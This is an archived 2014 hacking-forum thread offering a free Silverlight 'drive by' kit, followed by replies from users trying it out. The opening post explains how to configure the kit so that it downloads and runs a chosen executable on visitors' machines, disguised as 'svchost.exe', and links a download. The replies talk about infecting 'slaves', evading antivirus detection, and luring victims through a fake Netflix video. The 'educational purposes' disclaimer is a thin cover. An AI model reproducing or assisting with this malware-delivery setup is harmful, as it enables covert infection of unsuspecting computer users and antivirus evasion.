+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Blackhat • Red Team • Offensive Security (https://hackforums.net/forumdisplay.php?fid=447)
+---- Forum: Hacking Tools and Programs (https://hackforums.net/forumdisplay.php?fid=10)
+---- Thread: FREE - Silverlight drive by - ALL BROWSERS - New JDB alternative! (/showthread.php?tid=4068823)
FREE - Silverlight drive by - ALL BROWSERS - New JDB alternative! - Alan Turing - Feb 18, 2014
What a drive by is?
"Downloads which a person authorized but without understanding the consequences (e.g. downloads which install an unknown or counterfeit executable program, ActiveX component, or Java applet)." (Wikipedia)
In this case, it's a Silverlight application which, once installed, downloads and executes a file of your choice. F**k Java 7u51!
Video - PoC?
Informations
I'm not responsible of what you are doing with this software. I'm sharing it only for educational purposes. Your are not allowed to share it without my agreement.
XAP file is not obfuscated so you can easily check that is not infected.
Here is a virus scan which obviously means nothing but I know people want it :
Spoiler (Click to View)
How to
You must know :
Once installed, the drive by may not working again. To avoid that, you must uninstall the application called "Silverlight" from your control panel before retrying!
It's not working in "private browsing" mode.
Delete your browser temp files and restart it between tests!
Once you have downloaded the archive, extract it.
Open the file index.html and search this line :
Code
<param name="initParams" value="url=http://my.server.com/directlink.exe,drop=svchost.exe,text=INSTALL" />- http://my.server.com/directlink.exe => a direct link to your EXE file
- svchost.exe => drop name of your EXE file
- INSTALL => the text button displayed on the page
Don't forget to save your changes!
Now you can upload ALL FILES (dll, xap, html, xaml, xml) to your web hosting!
If you are familiar with html you can edit the page as you want.
Download
If you like it, you can keep the thread alive by posting a little thanks! ✌
Enjoy! No ads/surveys : http://www.mediafire.com/download/6cegzsjz4r93jig/SL-drive-by.zip
* - FrankLucas - Feb 18, 2014
Didnt work i did everything right
Tried it on my RDP
Tried it on my slave
The Link is a direct link which i did put right?
* - Dеath - Feb 18, 2014
This sounds promising but easily able to be manipulated or blocked.
* - Alan Turing - Feb 19, 2014
(Feb 18, 2014 03:54 PM)FrankLucas Wrote: Didnt work i did everything right
Tried it on my RDP
Tried it on my slave
The Link is a direct link which i did put right?
Have you clicked on "install" and accepted the warning?
Is an app called "Silverlight" with a publisher named as your website is added into your program list?
Have check my red warnings in my thread?
By the way, how can you try it on a slave? O.o
Please post a little video while you are clicking on install and accepting the warning ...
(Feb 18, 2014 03:56 PM)Dеath Wrote: This sounds promising but easily able to be manipulated or blocked.
ATM, it's not detected/blocked by AVs and not patched! 🤝
* - Transmission - Feb 19, 2014
Are you able to use this with java files? that would be an awesome update if not! :D
* - Saduto - Feb 19, 2014
Trying this now currently uploading will update you if it works or not!
* - badwayz - Feb 19, 2014
nevermind, I think I confused it with one of your other threads.
What happened to your other thread on this? I swear I saw this posted the other day.
good work though
* - contractor - Feb 19, 2014
Thank, will surely try it and report back. Does the victim should have silverlight installed?
* - Matheus - Feb 19, 2014
This works great man!
Thank you for this ^^
* - urface - Feb 19, 2014
Trying this now man,
But thank you for the download link.
* - FrankLucas - Feb 19, 2014
(Feb 19, 2014 12:40 AM)AlanTuring Wrote: Have you clicked on "install" and accepted the warning?Never mind got it workin on chrome it infected me pretty fast. Much faster then the other DriveBys i seen on this forum lol!
Is an app called "Silverlight" with a publisher named as your website is added into your program list?
Have check my red warnings in my thread?
By the way, how can you try it on a slave? O.o
Please post a little video while you are clicking on install and accepting the warning ...
ATM, it's not detected/blocked by AVs and not patched! 🤝
Anyways thanks for the expliot how long will it be FUD?
* - *FacePalm* - Feb 19, 2014
.. who the hell has Silverlight installed normally? i have tryd this drive by but i didnt have Silverlight installed so it did not work. Whats the percentage of people that would have Silverlight installed?
* - romanw - Feb 19, 2014
I have silverlight x64 installed. It's an awful virus but you need it to watch Netflix so fuck
* - FrankLucas - Feb 19, 2014
(Feb 19, 2014 08:57 PM)Africanchrist Wrote: .. who the hell has Silverlight installed normally? i have tryd this drive by but i didnt have Silverlight installed so it did not work. Whats the percentage of people that would have Silverlight installed?Make a video on YouTube how to extend your Netflix account time . Then just put the link below the description
* - Chr0nicHax - Feb 20, 2014
If you fully update your windows system, silverlight should be installed. Am i right?
I've read this on some forum i guess...